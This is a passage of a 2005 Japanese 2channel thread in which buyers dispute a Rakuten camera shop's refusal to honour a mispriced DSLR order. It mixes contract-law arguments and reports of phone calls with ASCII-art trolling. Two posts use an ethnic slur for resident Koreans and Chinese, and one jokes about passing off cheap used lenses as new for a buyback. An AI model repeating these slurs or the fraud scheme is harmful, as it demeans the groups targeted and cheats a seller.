886 :番組の途中ですが名無しです:05/03/03 10:37:49 ID:N+9TkQDL
             ,,;;;;;;;;;;;;;;;;;;;;;;---、;:;:;:;:;:,,,
           /;;;;;;;;;;,-'''"     ゙'''ヽ;;;;;;ヽ
          /;;;;;;;;;'''           ヽ;;;;l
         /;;;;;;;;;'"             _ヽ、
         i';;;;;;;;;;;            ,,;;;;;;-=ヽ、 
         |;;;;;;;;;;|  ,,,,,;;;;;;;;;-、    ‐'"゙_,,,,,,,_\
         |;;;;;;;;/ /-─'''''''"ヽ   "‐=二 ̄ヽ、  
         |;;;;;;|  '",,,-==‐ ヽ  " 、      ヽ
        ,┴、;|  ==ニ-‐'" ,    ヽ、     ゙i   
        |l |ヽl        /l      .)\    i   
       \|lノl       /└-‐ヽ-‐'    ヽ   i
         l、 ゙|      /   ,,---'ニ=メ i  .|
         ヽ-i      i'  /-l「ヽ┼+// ;;  /<ゴネ厨です
          ヽ、    ヽ=ヽ─++-''ノ    /、

887 :番組の途中ですが名無しです:05/03/03 10:40:32 ID:4GCUKLIH
ここで煽っているやつって、

1.自分は何も出来ないヘタレ

2.社員

のどっちかだよね。

ぷぷ。

888 :番組の途中ですが名無しです:05/03/03 10:44:20 ID:lrebWNp9
大阪商人の辞書には「契約不履行」という言葉はないんですか???

ひどい商慣習ですね。
大阪とは取引するべきじゃないですね。

889 :番組の途中ですが名無しです:05/03/03 10:45:43 ID:N+9TkQDL
             ,,;;;;;;;;;;;;;;;;;;;;;;---、;:;:;:;:;:,,,
           /;;;;;;;;;;,-'''"     ゙'''ヽ;;;;;;ヽ
          /;;;;;;;;;'''           ヽ;;;;l
         /;;;;;;;;;'"             _ヽ、
         i';;;;;;;;;;;            ,,;;;;;;-=ヽ、 
         |;;;;;;;;;;|  ,,,,,;;;;;;;;;-、    ‐'"゙_,,,,,,,_\
         |;;;;;;;;/ /-─'''''''"ヽ   "‐=二 ̄ヽ、  
         |;;;;;;|  '",,,-==‐ ヽ  " 、      ヽ
        ,┴、;|  ==ニ-‐'" ,    ヽ、     ゙i   
        |l |ヽl        /l      .)\    i   
       \|lノl       /└-‐ヽ-‐'    ヽ   i
         l、 ゙|      /   ,,---'ニ=メ i  .|
         ヽ-i      i'  /-l「ヽ┼+// ;;  /<ゴネ厨です
          ヽ、    ヽ=ヽ─++-''ノ    /、


890 :番組の途中ですが名無しです:05/03/03 10:47:04 ID:5vYt5m/w
だから何でお前等に売らなきゃなんないの?
客を選ぶ権利があるんだよ

891 :番組の途中ですが名無しです:05/03/03 10:47:25 ID:N+9TkQDL
             ,,;;;;;;;;;;;;;;;;;;;;;;---、;:;:;:;:;:,,,
           /;;;;;;;;;;,-'''"     ゙'''ヽ;;;;;;ヽ
          /;;;;;;;;;'''           ヽ;;;;l
         /;;;;;;;;;'"             _ヽ、
         i';;;;;;;;;;;            ,,;;;;;;-=ヽ、 
         |;;;;;;;;;;|  ,,,,,;;;;;;;;;-、    ‐'"゙_,,,,,,,_\
         |;;;;;;;;/ /-─'''''''"ヽ   "‐=二 ̄ヽ、  
         |;;;;;;|  '",,,-==‐ ヽ  " 、      ヽ
        ,┴、;|  ==ニ-‐'" ,    ヽ、     ゙i   
        |l |ヽl        /l      .)\    i   
       \|lノl       /└-‐ヽ-‐'    ヽ   i
         l、 ゙|      /   ,,---'ニ=メ i  .|
         ヽ-i      i'  /-l「ヽ┼+// ;;  /<ゴネ厨です
          ヽ、    ヽ=ヽ─++-''ノ    /、

892 ::05/03/03 10:48:25 ID:0jMqxazP
ゴネ厨・クレーマーは癌だな

893 :番組の途中ですが名無しです:05/03/03 10:49:54 ID:N+9TkQDL
             ,,;;;;;;;;;;;;;;;;;;;;;;---、;:;:;:;:;:,,,
           /;;;;;;;;;;,-'''"     ゙'''ヽ;;;;;;ヽ
          /;;;;;;;;;'''           ヽ;;;;l
         /;;;;;;;;;'"             _ヽ、
         i';;;;;;;;;;;            ,,;;;;;;-=ヽ、 
         |;;;;;;;;;;|  ,,,,,;;;;;;;;;-、    ‐'"゙_,,,,,,,_\
         |;;;;;;;;/ /-─'''''''"ヽ   "‐=二 ̄ヽ、  
         |;;;;;;|  '",,,-==‐ ヽ  " 、      ヽ
        ,┴、;|  ==ニ-‐'" ,    ヽ、     ゙i   
        |l |ヽl        /l      .)\    i   
       \|lノl       /└-‐ヽ-‐'    ヽ   i
         l、 ゙|      /   ,,---'ニ=メ i  .|
         ヽ-i      i'  /-l「ヽ┼+// ;;  /<ゴネ厨です
          ヽ、    ヽ=ヽ─++-''ノ    /、

894 :番組の途中ですが名無しです:05/03/03 10:54:38 ID:4tg8h9Rj
>N+9TkQDL
http://stick.newsplus.jp/id.cgi?bbs=news&word=N%2B9TkQDL

895 :番組の途中ですが名無しです:05/03/03 10:55:47 ID:N+9TkQDL
             ,,;;;;;;;;;;;;;;;;;;;;;;---、;:;:;:;:;:,,,
           /;;;;;;;;;;,-'''"     ゙'''ヽ;;;;;;ヽ
          /;;;;;;;;;'''           ヽ;;;;l
         /;;;;;;;;;'"             _ヽ、
         i';;;;;;;;;;;            ,,;;;;;;-=ヽ、 
         |;;;;;;;;;;|  ,,,,,;;;;;;;;;-、    ‐'"゙_,,,,,,,_\
         |;;;;;;;;/ /-─'''''''"ヽ   "‐=二 ̄ヽ、  
         |;;;;;;|  '",,,-==‐ ヽ  " 、      ヽ
        ,┴、;|  ==ニ-‐'" ,    ヽ、     ゙i   
        |l |ヽl        /l      .)\    i   
       \|lノl       /└-‐ヽ-‐'    ヽ   i
         l、 ゙|      /   ,,---'ニ=メ i  .|
         ヽ-i      i'  /-l「ヽ┼+// ;;  /<ゴネ厨です
          ヽ、    ヽ=ヽ─++-''ノ    /、


896 :番組の途中ですが名無しです:05/03/03 11:10:38 ID:UklQpyxY
        _     -―-    _
      , ', -、ヽ'´       `'´, -、ヽ
      ! {  /             ゙   } i
        ヽ`ー,'   ●  _  ●  ゙ー'ノ   ゴネ厨ばんじゃーい!
         ` !     , '´ ▼ ヽ   l"   
         / `ヽ   i   人   i   ノ ヽ
        ヽ./  `==ァ'⌒ヽ==' ヽ/
          ヽ,     {(^)   }    〈
          !     ヽ!l__,ノ     ゙
            l                i


897 :番組の途中ですが名無しです:05/03/03 11:15:59 ID:J8VXzL9L
ecomとか、各種機関に相談している人も、結局売れないということになれば、
情報もってかれ損が確定するわけだからその時には警察へ相談するのがいいかな。

898 :番組の途中ですが名無しです:05/03/03 11:16:24 ID:AW8DFcl8
10時を過ぎたとたんに荒れはじめたんですが・・・
ナニワさんは10時開店なんでしょうか?

899 :番組の途中ですが名無しです:05/03/03 11:17:58 ID:UklQpyxY
             ,,;;;;;;;;;;;;;;;;;;;;;;---、;:;:;:;:;:,,,
           /;;;;;;;;;;,-'''"     ゙'''ヽ;;;;;;ヽ
          /;;;;;;;;;'''           ヽ;;;;l
         /;;;;;;;;;'"             _ヽ、
         i';;;;;;;;;;;            ,,;;;;;;-=ヽ、 
         |;;;;;;;;;;|  ,,,,,;;;;;;;;;-、    ‐'"゙_,,,,,,,_\
         |;;;;;;;;/ /-─'''''''"ヽ   "‐=二 ̄ヽ、  
         |;;;;;;|  '",,,-==‐ ヽ  " 、      ヽ
        ,┴、;|  ==ニ-‐'" ,    ヽ、     ゙i   
        |l |ヽl        /l      .)\    i   
       \|lノl       /└-‐ヽ-‐'    ヽ   i
         l、 ゙|      /   ,,---'ニ=メ i  .|
         ヽ-i      i'  /-l「ヽ┼+// ;;  /<ゴネ厨です
          ヽ、    ヽ=ヽ─++-''ノ    /、


900 :番組の途中ですが名無しです:05/03/03 11:18:39 ID:0ip7YyYq
http://www.jadma.org/t110/t110_4j.html
とりあえずここに電話してみた
・販売しろと言うのは無理かもしれない、会社次第であるが、お詫びくらいはあるかもねと
・個人情報については、削除要求することは出来る、削除が出来ないのなら
 可能な限りの削除、確実な管理を約束させ、一筆文章としてもらうことは要求できる
・金額について94,800円が56,800円(税別)になった事
 についての原因の説明は求められるはずと

901 :番組の途中ですが名無しです:05/03/03 11:19:04 ID:UklQpyxY
             ,,;;;;;;;;;;;;;;;;;;;;;;---、;:;:;:;:;:,,,
           /;;;;;;;;;;,-'''"     ゙'''ヽ;;;;;;ヽ
          /;;;;;;;;;'''           ヽ;;;;l
         /;;;;;;;;;'"             _ヽ、
         i';;;;;;;;;;;            ,,;;;;;;-=ヽ、 
         |;;;;;;;;;;|  ,,,,,;;;;;;;;;-、    ‐'"゙_,,,,,,,_\
         |;;;;;;;;/ /-─'''''''"ヽ   "‐=二 ̄ヽ、  
         |;;;;;;|  '",,,-==‐ ヽ  " 、      ヽ
        ,┴、;|  ==ニ-‐'" ,    ヽ、     ゙i   
        |l |ヽl        /l      .)\    i   
       \|lノl       /└-‐ヽ-‐'    ヽ   i
         l、 ゙|      /   ,,---'ニ=メ i  .|
         ヽ-i      i'  /-l「ヽ┼+// ;;  /<ゴネ厨です
          ヽ、    ヽ=ヽ─++-''ノ    /、


902 :番組の途中ですが名無しです:05/03/03 11:22:45 ID:Ugtj9/GL
=  ∩
== (θ  \
=== =3Φ )<ゴネ厨です
== (θ  /
 =  ∪

903 :番組の途中ですが名無しです:05/03/03 11:25:23 ID:4GCUKLIH
参考までに。
携帯、モバイル契約について問い合わせてメディアラボからの返答をこちらにも載せておきます。

---------------------------------------------
お申し込みの際の「自動返信」メールの記載事項に関しましては、楽天市場に確
認を
しますとモバイルでのお申し込みの場合は、記載しておりませんが、「自動返信メー
ル」は
あくまでも楽天市場からのメールでありますので、店舗からの「受諾メール」ではご
ざいませ
んとの見解との事です。

-----------------------------------------------------------

見解です、で通る事かよ!

904 :番組の途中ですが名無しです:05/03/03 11:25:54 ID:49vWPgEd
             ,,;;;;;;;;;;;;;;;;;;;;;;---、;:;:;:;:;:,,,
           /;;;;;;;;;;,-'''"     ゙'''ヽ;;;;;;ヽ
          /;;;;;;;;;'''           ヽ;;;;l
         /;;;;;;;;;'"             _ヽ、
         i';;;;;;;;;;;            ,,;;;;;;-=ヽ、 
         |;;;;;;;;;;|  ,,,,,;;;;;;;;;-、    ‐'"゙_,,,,,,,_\
         |;;;;;;;;/ /-─'''''''"ヽ   "‐=二 ̄ヽ、  
         |;;;;;;|  '",,,-==‐ ヽ  " 、      ヽ
        ,┴、;|  ==ニ-‐'" ,    ヽ、     ゙i   
        |l |ヽl        /l      .)\    i   
       \|lノl       /└-‐ヽ-‐'    ヽ   i
         l、 ゙|      /   ,,---'ニ=メ i  .|
         ヽ-i      i'  /-l「ヽ┼+// ;;  /<ゴネ厨です
          ヽ、    ヽ=ヽ─++-''ノ    /、


905 :番組の途中ですが名無しです:05/03/03 11:26:31 ID:vpzcprqW
はにわ、個人特別対応するし
キャンセルの確定通知はもう少し後
(騒ぎ沈静化+過激ゴネ房特別対応)
してから・・・・ こんな対応良くない (・A ・) イクナイ!

906 :番組の途中ですが名無しです:05/03/03 11:27:24 ID:QmSKlrVU
             ,,;;;;;;;;;;;;;;;;;;;;;;---、;:;:;:;:;:,,,
           /;;;;;;;;;;,-'''"     ゙'''ヽ;;;;;;ヽ
          /;;;;;;;;;'''           ヽ;;;;l
         /;;;;;;;;;'"             _ヽ、
         i';;;;;;;;;;;            ,,;;;;;;-=ヽ、 
         |;;;;;;;;;;|  ,,,,,;;;;;;;;;-、    ‐'"゙_,,,,,,,_\
         |;;;;;;;;/ /-─'''''''"ヽ   "‐=二 ̄ヽ、  
         |;;;;;;|  '",,,-==‐ ヽ  " 、      ヽ
        ,┴、;|  ==ニ-‐'" ,    ヽ、     ゙i   
        |l |ヽl        /l      .)\    i   
       \|lノl       /└-‐ヽ-‐'    ヽ   i
         l、 ゙|      /   ,,---'ニ=メ i  .|
         ヽ-i      i'  /-l「ヽ┼+// ;;  /<ゴネ厨です
          ヽ、    ヽ=ヽ─++-''ノ    /、


907 :番組の途中ですが名無しです:05/03/03 11:27:53 ID:aKKtTrps
ナニワの社長さん、堤さんでさえ、タイーホされちゃったよ。
やった規模の差はあるけど。

908 :番組の途中ですが名無しです:05/03/03 11:28:22 ID:qOEXkmaZ
             ,,;;;;;;;;;;;;;;;;;;;;;;---、;:;:;:;:;:,,,
           /;;;;;;;;;;,-'''"     ゙'''ヽ;;;;;;ヽ
          /;;;;;;;;;'''           ヽ;;;;l
         /;;;;;;;;;'"             _ヽ、
         i';;;;;;;;;;;            ,,;;;;;;-=ヽ、 
         |;;;;;;;;;;|  ,,,,,;;;;;;;;;-、    ‐'"゙_,,,,,,,_\
         |;;;;;;;;/ /-─'''''''"ヽ   "‐=二 ̄ヽ、  
         |;;;;;;|  '",,,-==‐ ヽ  " 、      ヽ
        ,┴、;|  ==ニ-‐'" ,    ヽ、     ゙i   
        |l |ヽl        /l      .)\    i   
       \|lノl       /└-‐ヽ-‐'    ヽ   i
         l、 ゙|      /   ,,---'ニ=メ i  .|
         ヽ-i      i'  /-l「ヽ┼+// ;;  /<ゴネ厨です
          ヽ、    ヽ=ヽ─++-''ノ    /、

909 :番組の途中ですが名無しです:05/03/03 11:28:53 ID:4GCUKLIH
>>905
その情報のソースは?

910 :番組の途中ですが名無しです:05/03/03 11:29:57 ID:J8VXzL9L
>>903

見解ってのは誰でもいえるからね。そういう見解なんですねとしか返せない。
しかし、筋は通ってないな。根拠が無い。

経済産業省の相談窓口でも電子商取引に関する準則に基づいて
判断するのがよいとも言われたし、ecomの判断もその準則に基づいてされてる。
                
                  ↓

「あらかじめ」注文時に「自動返信メールでは契約成立ではない」という表記が
無い限り、申込の意思表示をした人のメールボックスに最初のメールが到着
した時点で契約は成立している。

911 :番組の途中ですが名無しです:05/03/03 11:31:12 ID:wZEOneax
             ,,;;;;;;;;;;;;;;;;;;;;;;---、;:;:;:;:;:,,,
           /;;;;;;;;;;,-'''"     ゙'''ヽ;;;;;;ヽ
          /;;;;;;;;;'''           ヽ;;;;l
         /;;;;;;;;;'"             _ヽ、
         i';;;;;;;;;;;            ,,;;;;;;-=ヽ、 
         |;;;;;;;;;;|  ,,,,,;;;;;;;;;-、    ‐'"゙_,,,,,,,_\
         |;;;;;;;;/ /-─'''''''"ヽ   "‐=二 ̄ヽ、  
         |;;;;;;|  '",,,-==‐ ヽ  " 、      ヽ
        ,┴、;|  ==ニ-‐'" ,    ヽ、     ゙i   
        |l |ヽl        /l      .)\    i   
       \|lノl       /└-‐ヽ-‐'    ヽ   i
         l、 ゙|      /   ,,---'ニ=メ i  .|
         ヽ-i      i'  /-l「ヽ┼+// ;;  /<ゴネ厨です
          ヽ、    ヽ=ヽ─++-''ノ    /、


912 :番組の途中ですが名無しです:05/03/03 11:31:41 ID:J8VXzL9L
>>910一部訂正


「あらかじめ」注文時に「自動返信メールでは契約成立ではない」という表記が
無い限り、たとえ自動返信メールに「このメールで持って契約成立でない」との
明記があっても、申込の意思表示をした人のメールボックスに最初のメールが
到着した時点で契約は成立している。



913 :番組の途中ですが名無しです:05/03/03 11:32:49 ID:su+Of3xM
ナニワって客のキャンセルは認めてないのね、酷いね。

914 :番組の途中ですが名無しです:05/03/03 11:33:47 ID:yMoJYdZW

          /;;;;;;;;;'''           ヽ;;;;l

         /;;;;;;;;;'"             _ヽ、

         i';;;;;;;;;;;            ,,;;;;;;-=ヽ、 

         |;;;;;;;;;;|  ,,,,,;;;;;;;;;-、    ‐'"゙_,,,,,,,_\

         |;;;;;;;;/ /-─'''''''"ヽ   "‐=二 ̄ヽ、  

         |;;;;;;|  '",,,-==‐ ヽ  " 、      ヽ

        ,┴、;|  ==ニ-‐'" ,    ヽ、     ゙i  
 
        |l |ヽl        /l      .)\    i   

       \|lノl       /└-‐ヽ-‐'    ヽ   i

         l、 ゙|      /   ,,---'ニ=メ i  .|







         ヽ-i      i'  /-l「ヽ┼+// ;;  /<ゴネ厨です



915 :番組の途中ですが名無しです:05/03/03 11:35:37 ID:0ip7YyYq
今フリーダイヤル電話したら中根氏本人が電話の相手してくれました。
金額の打ち間違えについては、間違えたの一本張り、納得できないが話が進まないので次へ
個人情報について、わかりにくい説明しかなされず話は進まない
契約されたかどうかについて、YES,NOでの回答を求めるも楽天からの自動メールで・・・
 契約確認のメールはこちらからは送っていないとのこと、何度もYESかNOかで回答せよと求めても無駄でした
レンズ等を既に他店で買ったものについて、個々で対応をさせてもらうのでメールで
 現状では決まっていないので正確な回答が出来るようになり次第連絡させてもらうと

結果「申し訳ない」ばかりで話が進まない、明言することを避ける

916 :番組の途中ですが名無しです:05/03/03 11:40:53 ID:9m1yBEKG
個別対応は許さないよ
購入者の立場は平等です

間違えたにしてもきちんと対応する義務はある
対応を怠ったんだから売れボケ

917 :番組の途中ですが名無しです:05/03/03 11:42:54 ID:J8VXzL9L
>>915

悪質だなあ。。ecomからの対応もそれで済ますつもりか?
おそらく済まんだろうが。。

契約成立してからもう5日以上経っているし、解除に対して拒否する
申し出を送信して二日以上経ってるにもかかわらず、まともな対応を
してくれないのはいかがなものか。。

918 :番組の途中ですが名無しです:05/03/03 11:47:04 ID:0ip7YyYq
店舗じゃなくてヤフオクでもいいもんな、個人売買でなら日付の証明できないな

キスDこないだ店で触ってきたんだけれど、視線入力に惚れて
EOS55を買った俺にはやっぱりちょっと合わないかも、ちと使いにくい
レンズの資産があるのでデジ一買うならキヤノンとは思っているが、視線入力付かないかな?

919 :番組の途中ですが名無しです:05/03/03 11:51:21 ID:4GCUKLIH
購入者は完全に平等に対応してもらわないとね。
もちろん売らないのであればレンズなどを購入した人には購入額で買い取りなどの対応は必要だと思うけど。

920 :番組の途中ですが名無しです:05/03/03 11:54:55 ID:9m1yBEKG
>>919
まぁレンズ買い取ってくれるなら中古の激やすかってきて新品といって買い取らせるわけだが
領収書は?
とかいったらぶち切れです

921 :番組の途中ですが名無しです:05/03/03 11:55:42 ID:su+Of3xM
そういえば、女性のアカウント5000円以上で購入してると、
レディースデー特典で500ポイントもらえるんだけど、そのポイント入ってるのよね。
24-25も対象期間だったはず。他に買い物はしてないし。

922 :番組の途中ですが名無しです:05/03/03 11:57:25 ID:4GCUKLIH
買取の場合は個人取引(友人、知人に譲ってもらった)などもあるから極端に定価以上だったりしない限りナニワは受け入れざるを得ないでしょうね。

923 :番組の途中ですが名無しです:05/03/03 11:57:34 ID:su+Of3xM
ポイント明細には
レディースDay 特典ポイント(2005/2/24-2/25)
となってる。
契約は成立してなければポイント入らないでしょ。

またやるみたい。
http://event.rakuten.co.jp/campaign/point-up/050303/

924 :番組の途中ですが名無しです:05/03/03 11:59:37 ID:4GCUKLIH
こんなに問題が多い楽天でいくらポイント貰えようとも今は購入する気にはなれない。

925 :番組の途中ですが名無しです:05/03/03 11:59:41 ID:J8VXzL9L
>>915を読んでるとホント腹立つな。
契約成立していない根拠は「楽天のメールには・・・」かよ。

楽天がそう書いたら契約は成立しないのか?
その根拠はどこにあるんだ?
そこを俺は聞きたいんだよ。

中根氏の言葉は「お母さんがダメっていったから・・・」てのと変わりないんだよ。
ダメならなんでダメなんだ?販売責任者であるのなら、そこを説明しろというんだ。

俺らはその根拠を経済産業省の出した準則や、その準則に依ってだされている
ecomの見解に求めている。そこら辺はっきりしろ。

926 :番組の途中ですが名無しです:05/03/03 12:00:20 ID:9m1yBEKG
要はカメラ売るしか解決策は無い

927 :番組の途中ですが名無しです:05/03/03 12:01:47 ID:5vYt5m/w



ゴネ厨は生きてて恥ずかしくないんですか?


 

928 :番組の途中ですが名無しです:05/03/03 12:02:26 ID:su+Of3xM
ID:5vYt5m/wさんは煽るの必死ですね、なんで必死なんですか?

929 :番組の途中ですが名無しです:05/03/03 12:03:52 ID:0ip7YyYq
マジで電話してみ、今日は暇っぽかったから
同じ内容でもいいから、買ってしまったものはあることが前提で

930 :番組の途中ですが名無しです:05/03/03 12:04:26 ID:lrebWNp9
消費者が購入申し込みをした時点で契約成立とすることに何ら争いは
生まれようがないだろう。
なので、ナニワは公然と契約不履行を宣言したわけだ。

そうすると、こちらとしては再三にわたり契約の履行を求めるという
のも一つの方法だけど、ナニワの理不尽な要求を認めるかわりに
違約金を請求するというのがもう一つの方法だよね。

931 :番組の途中ですが名無しです:05/03/03 12:06:12 ID:0ip7YyYq
>>930
そそ、違約金とかお詫びが無難でないかと俺も思う
ナニワもう買いたくないし

932 :番組の途中ですが名無しです:05/03/03 12:06:23 ID:5vYt5m/w
違約金って何ですか?
違約してないのに払うわけないでしょ?バカですか

933 :番組の途中ですが名無しです:05/03/03 12:08:51 ID:su+Of3xM
契約を違約しているのだから賠償金を払うのが当たり前。

934 :番組の途中ですが名無しです:05/03/03 12:10:24 ID:5vYt5m/w
ゴネ厨が勝手に違約と思ってるんだろ?お得意の脳内で
話になりませんね
司法の場で決着付けますか?

935 :番組の途中ですが名無しです:05/03/03 12:13:37 ID:SWX2kxC5
何かが降臨したようだな

936 :番組の途中ですが名無しです:05/03/03 12:15:13 ID:9m1yBEKG
煽りの相手をするのは辞めて
喜ぶから

937 :番組の途中ですが名無しです:05/03/03 12:15:38 ID:A/r3ZUiI
128Mのスマートメディアで手を打つよ。

938 :番組の途中ですが名無しです:05/03/03 12:16:09 ID:NTMCrZAg
>>885
クレカ情報も対価が必要ですねw

939 :番組の途中ですが名無しです:05/03/03 12:17:29 ID:5yn4G2sB
>>937
お詫びの品は5V仕様の物となります


940 :番組の途中ですが名無しです:05/03/03 12:17:53 ID:LIGkl7TZ
ナニワともあれカメラはナニワ

941 :番組の途中ですが名無しです:05/03/03 12:18:01 ID:0q4Mt1Fl
塩爺ではないな。あいつは漢字は書けないから。

942 :番組の途中ですが名無しです:05/03/03 12:18:09 ID:5vYt5m/w
社会の落ちこぼれの正義なんて誰も相手にしませんよ
このスレを見ればわかるでしょう
あー三国人には理解出来ないかもしれませんね

943 :番組の途中ですが名無しです:05/03/03 12:18:31 ID:dnTMS6dc
明言を避けて逃げ続ければそのうち沈静化するだろう、との方針。

いよいよ法的に追いつめんと逃げ切られるぞ

944 :番組の途中ですが名無しです:05/03/03 12:21:47 ID:su+Of3xM
フィッシングの疑い、特定商取引法の疑いいろいろあるな

945 :番組の途中ですが名無しです:05/03/03 12:22:00 ID:LIGkl7TZ
塩山一族の飼い犬各位
家のローンや子供の養育費等大変で人間の尊厳とかいってる余裕はないのは
わかりますが今一度人として誇りを持っていたあの若き日々を思い出してください。

946 :番組の途中ですが名無しです:05/03/03 12:25:39 ID:lrebWNp9
受付電話番号に掛けたら留守番電話が出たんだけど…。
なにこれ??
どういう神経してるの???

947 :番組の途中ですが名無しです:05/03/03 12:25:43 ID:q+dPgiEZ
もうゴネなんてやめてお外でようぜ

948 :番組の途中ですが名無しです:05/03/03 12:25:59 ID:X36K0ExQ
"team 2ch"でMotoGP250ccのスポンサーにならないか
http://hobby7.2ch.net/test/read.cgi/bike/1109753034/

949 :番組の途中ですが名無しです:05/03/03 12:26:44 ID:9m1yBEKG
>>946
お昼休みですw

950 :番組の途中ですが名無しです:05/03/03 12:27:18 ID:5vYt5m/w
だーかーらーはやく訴えてみろよ( ´,_ゝ`)プッ

951 :番組の途中ですが名無しです:05/03/03 12:29:04 ID:9m1yBEKG
>>948
興味あるがなぜここに
motogpクラスならな・・・。

952 :番組の途中ですが名無しです:05/03/03 12:29:58 ID:J8VXzL9L
少しまとめ更新しました。

ttp://naniwa.s115.xrea.com/archives/2005/03/post_9.html

契約不成立を主張するなら、根拠を明らかにしなさい。
「楽天がいってるからー」じゃす済まないぞ。

953 :番組の途中ですが名無しです:05/03/03 12:33:25 ID:9m1yBEKG
まぁメディアラボも楽天が言ってるから
途中から弁護士も言ってるから
でも法的根拠はないけどぉ
ってわけのわからん方向に逃げて言った

全力でナニワの真実を伝え続けて行くつもりだ
売っても売らなくてもな

現状の対応では売っても褒められないし
売らなければ論外
商売をやる資格なし
そのうち結果でるだろ
信頼がすべてです

954 :番組の途中ですが名無しです:05/03/03 12:35:13 ID:0ip7YyYq
フィッシング詐欺についてはだいたいわかってるんだが
特定商取引法ってなんなの?誰かわかりやすく教えてほしい

デジ一買うって周りに言っちゃったから、誰かレンズとか先走って買っちゃってるかもな
嫁にも相談したがもしかしたらレンズ買っちゃってるかも、最近帰り遅くてろくに会話してない
って設定もありだな

955 :番組の途中ですが名無しです:05/03/03 12:37:13 ID:5vYt5m/w
所詮2ちゃんねらーだな
おまえらここでぐだぐだいってるだけで何も出来ないじゃねーか
笑っちゃいますね

956 :番組の途中ですが名無しです:05/03/03 12:39:30 ID:1UI6p3XN
毎度の事だが貧乏人乙!

957 :番組の途中ですが名無しです:05/03/03 12:40:58 ID:J8VXzL9L
>>954

前は、訪問販売法っていったっけな?

特定の形での商取引をするならこういったことはやっちゃダメ、とか
こういったことを義務付けますよ、とかいう内容の法律。

そのなかに、自社の代表社名と運営責任社名を明らかにしなさいね、
というのがある。ナニワは、それを 塩山知之ちゃん と表示していたが、
実際は中根氏だった。

958 :番組の途中ですが名無しです:05/03/03 12:41:18 ID:su+Of3xM
>>956
短絡的杉!ようするに馬鹿。

959 :番組の途中ですが名無しです:05/03/03 12:42:10 ID:q+dPgiEZ
お前ら最低のカスだな

960 :番組の途中ですが名無しです:05/03/03 12:43:53 ID:0ip7YyYq
>>957
今となっちゃあんまり証拠は残ってないのね>特定商取引法

961 :番組の途中ですが名無しです:05/03/03 12:45:42 ID:J8VXzL9L
>>960
ttp://www.rakuten.co.jp/naniwa/info.html
見れば載ってるよ。

ここだけでなく、あちこちにしっかり残ってる。

962 :番組の途中ですが名無しです:05/03/03 12:45:51 ID:LIGkl7TZ
正業についてるゴネ厨>>>>>>>>>>>>>>>ナニワ悪徳商会飼い犬>ニート

963 :番組の途中ですが名無しです:05/03/03 12:54:13 ID:IK4l5eQl
>>960
某所にまだ載ってる
ハニワはまだ気付いてない

964 :番組の途中ですが名無しです:05/03/03 13:12:25 ID:9m1yBEKG
あれ?
お昼休み終わり?

965 :番組の途中ですが名無しです:05/03/03 13:15:15 ID:aSnDC8Nb
あからさまだな。

社員のアヲリ。

966 :番組の途中ですが名無しです:05/03/03 13:23:39 ID:TcyGzRKE
http://live14.2ch.net/test/read.cgi/liveplus/1109823777/
次スレたてたぞ!

967 :番組の途中ですが名無しです:05/03/03 13:27:52 ID:J8VXzL9L
>>966は別板への誘導

ν速内に立てられるやつ頼む。俺はダメだった。

968 :番組の途中ですが名無しです:05/03/03 13:30:46 ID:KFaJYCs3
社会の落ちこぼれの正義なんて誰も相手にしませんよ
このスレを見ればわかるでしょう
あー三国人生活保護者には理解出来ないかもしれませんね
人生丸ごとはったりですから




969 :番組の途中ですが名無しです:05/03/03 13:31:09 ID:KIy9rtUW
┌| ∵|┘ 99,540円の一眼デジカメが59,640円★10台目
http://news19.2ch.net/test/read.cgi/news/1109824203/

970 :番組の途中ですが名無しです:05/03/03 13:36:06 ID:0ip7YyYq
しかし、思惑通り沈静化に向かってるな、このままでは俺は許さないぞ

971 :番組の途中ですが名無しです:05/03/03 13:41:08 ID:qwjkc7Os
ク    ク   || プ  / ク   ク  || プ  /
ス  ク ス _  | | │ //. ス ク ス _ | | │ //
/ ス   ─  | | ッ // /  ス   ─ | | ッ //
 /         // /          //
    ∩___∩     ∩___∩
    | ノ⌒  ⌒ ヽ    | ノ⌒  ⌒ ヽ
   /  >  < |   /   =  =  |
   |    ( _●_)  ミ |    ( _●_)  ミ
   ヽ     `Y⌒l_ノ  ヽ     `Y⌒l_ノ
   /ヽ  人_(  ヽ / ヽ 人_(  ヽ
  /    ̄  ̄ ヽ-イ /     ̄  ̄ヽ-イ

972 :番組の途中ですが名無しです:05/03/03 13:41:55 ID:EJIjFWTW
実況に立ってるから誰かN速に立てて

973 :番組の途中ですが名無しです:05/03/03 13:44:48 ID:KIy9rtUW
オナニーでもしてもちつけ

974 :番組の途中ですが名無しです:05/03/03 13:45:48 ID:5vYt5m/w
:;' /:/ `メ、 i: ハ: i: : ii:i ヽ: i: :ii; : : : :iヽ: :
i: :i: i: i/,ィ=ミヽi: iヽNi:i_`iL:H---i:i: ヽ
i: :i :i / {.iトgj:i ヽ! lルィ丁゙)‐ミ「!: :ii/: : i
;':/ヾム⊂つ'´     i:.;{iil1:ソ i:i:::i !: : i:
: i: /: iト        、,,ミニっ /i/゚: o i .
: i:/: : i    、`_      ̄/.:/: : : i: :   あやまれ!!
: /: .::ハ   ゙llllllル `ヽ    //. : :/! i: .  ナニワにあやまれ!!
/: .::/:::/`、  lll/: : : : :} /〃:./: /i iハ! 
i. ::/i::/::::::i::ヽ`三ー 'ノ , イ/: /: /.::i i::::::
::::///::::::::i:::i:..ヽ---<::::/:::/: :/: : i iヽ::

975 :番組の途中ですが名無しです:05/03/03 13:47:21 ID:0q4Mt1Fl
スレそのものは、沈静化しつつあるかもしれんが、
ナニワ社員の下劣さが、その書き込みによって、
ますます色濃く浮き彫りにされてきた。
このスレを読んでいる人たちのなかに、
膨らんでいくナニワへの嫌悪感が、目に見えるようだよ。

976 :番組の途中ですが名無しです:05/03/03 13:48:03 ID:5vYt5m/w
:;' /:/ `メ、 i: ハ: i: : ii:i ヽ: i: :ii; : : : :iヽ: :
i: :i: i: i/,ィ=ミヽi: iヽNi:i_`iL:H---i:i: ヽ
i: :i :i / {.iトgj:i ヽ! lルィ丁゙)‐ミ「!: :ii/: : i
;':/ヾム⊂つ'´     i:.;{iil1:ソ i:i:::i !: : i:
: i: /: iト        、,,ミニっ /i/゚: o i .
: i:/: : i    、`_      ̄/.:/: : : i: :   あやまれ!!
: /: .::ハ   ゙llllllル `ヽ    //. : :/! i: .  にあやまれ!!
/: .::/:::/`、  lll/: : : : :} /〃:./: /i iハ! 
i. ::/i::/::::::i::ヽ`三ー 'ノ , イ/: /: /.::i i::::::
::::///::::::::i:::i:..ヽ---<::::/:::/: :/: : i iヽ::

977 :番組の途中ですが名無しです:05/03/03 13:48:13 ID:KIy9rtUW
>>972
